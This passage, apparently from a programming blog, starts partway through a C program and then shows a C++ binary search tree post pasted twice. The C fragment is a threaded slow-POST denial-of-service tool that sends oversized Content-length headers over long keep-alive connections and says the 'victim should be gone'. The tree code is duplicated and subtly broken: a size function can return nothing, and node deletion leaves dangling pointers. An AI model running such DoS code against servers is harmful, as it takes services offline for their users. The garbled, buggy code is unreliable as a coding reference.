sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
printf("Spawning threads\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_create(&threads[counter], NULL, dothread, &counter);
usleep(100000);
}
printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_join(&threads[counter]);
}
}
BinTree (C++ code)
#include<iostream>
using namespace std;
struct Node {
int data;
Node * left,*right;
Node (int n_data){
data=n_data;
left = NULL;
right = NULL;
}
};
class Tree{
public:
Node *root;
Tree(int data){
root = new Node(data);
//root = new Node(data);
}
friend ostream& operator << (ostream& out,Node * r)
{
if(!r){return out;}
out<<r->data<<" ";
if(r->left){out<<r->left;}
if(r->right){out<<r->right;}
return out;
}
Node getRoot()
{
return (*root);
}
~Tree()
{
while(root)
{
remove(root,root->data);
}
}
void add(Node *&n,int data){
if(!n){
n = new Node(data);
return;
}
if(n->data >= data){
add(n->left,data);
}
else {
add(n->right,data);
}
}
void remove(Node *&n, int data){
if(!n)return;
if(n->data == data){
if(!n->left){
Node *tmp = n;
n = n->right;
delete tmp;
}
else if(!n->right){
Node *tmp = n;
n = n->left;
delete tmp;
}
else n->data = min(n->left);
}
else {
if(n->data > data){
remove(n->left,data);
}
else remove(n->right,data);
}
}
int min(Node *n)
{
if(n->left) return min(n->left);
int i = n->data;
Node * tmp = n;
n = n->right;
delete tmp;
return i;
}
void print(Node *n){
if (n == NULL) {
return;
}
print(n->left);
if (!(n-> left || n->right)) {
cout<<n->data;
}
print(n->right);
}
int getSize(){
int i=0;
return size(root,i);
}
int size(Node *r,int br){
if(r==NULL){return br;}
if(r->left){
size(r->left,++br);
}
if(r->right){
size(r->right,++br);
}
}
};
int main (){
Tree p(10);
Node * r = &p.getRoot();
p.add(r,1);
p.add(r,2);
p.add(r,3);
p.add(r,4);
p.add(r,5);
p.add(r,6);
p.add(r,7);
//p.remove(r,6);
//p.print(r);
cout<<p.getSize();
return 0;
}
using namespace std;
struct Node {
int data;
Node * left,*right;
Node (int n_data){
data=n_data;
left = NULL;
right = NULL;
}
};
class Tree{
public:
Node *root;
Tree(int data){
root = new Node(data);
//root = new Node(data);
}
friend ostream& operator << (ostream& out,Node * r)
{
if(!r){return out;}
out<<r->data<<" ";
if(r->left){out<<r->left;}
if(r->right){out<<r->right;}
return out;
}
Node getRoot()
{
return (*root);
}
~Tree()
{
while(root)
{
remove(root,root->data);
}
}
void add(Node *&n,int data){
if(!n){
n = new Node(data);
return;
}
if(n->data >= data){
add(n->left,data);
}
else {
add(n->right,data);
}
}
void remove(Node *&n, int data){
if(!n)return;
if(n->data == data){
if(!n->left){
Node *tmp = n;
n = n->right;
delete tmp;
}
else if(!n->right){
Node *tmp = n;
n = n->left;
delete tmp;
}
else n->data = min(n->left);
}
else {
if(n->data > data){
remove(n->left,data);
}
else remove(n->right,data);
}
}
int min(Node *n)
{
if(n->left) return min(n->left);
int i = n->data;
Node * tmp = n;
n = n->right;
delete tmp;
return i;
}
void print(Node *n){
if (n == NULL) {
return;
}
print(n->left);
if (!(n-> left || n->right)) {
cout<<n->data;
}
print(n->right);
}
int getSize(){
int i=0;
return size(root,i);
}
int size(Node *r,int br){
if(r==NULL){return br;}
if(r->left){
size(r->left,++br);
}
if(r->right){
size(r->right,++br);
}
}
};
int main (){
Tree p(10);
Node * r = &p.getRoot();
p.add(r,1);
p.add(r,2);
p.add(r,3);
p.add(r,4);
p.add(r,5);
p.add(r,6);
p.add(r,7);
//p.remove(r,6);
//p.print(r);
cout<<p.getSize();
return 0;
}
Subscribe to:
Posts (Atom)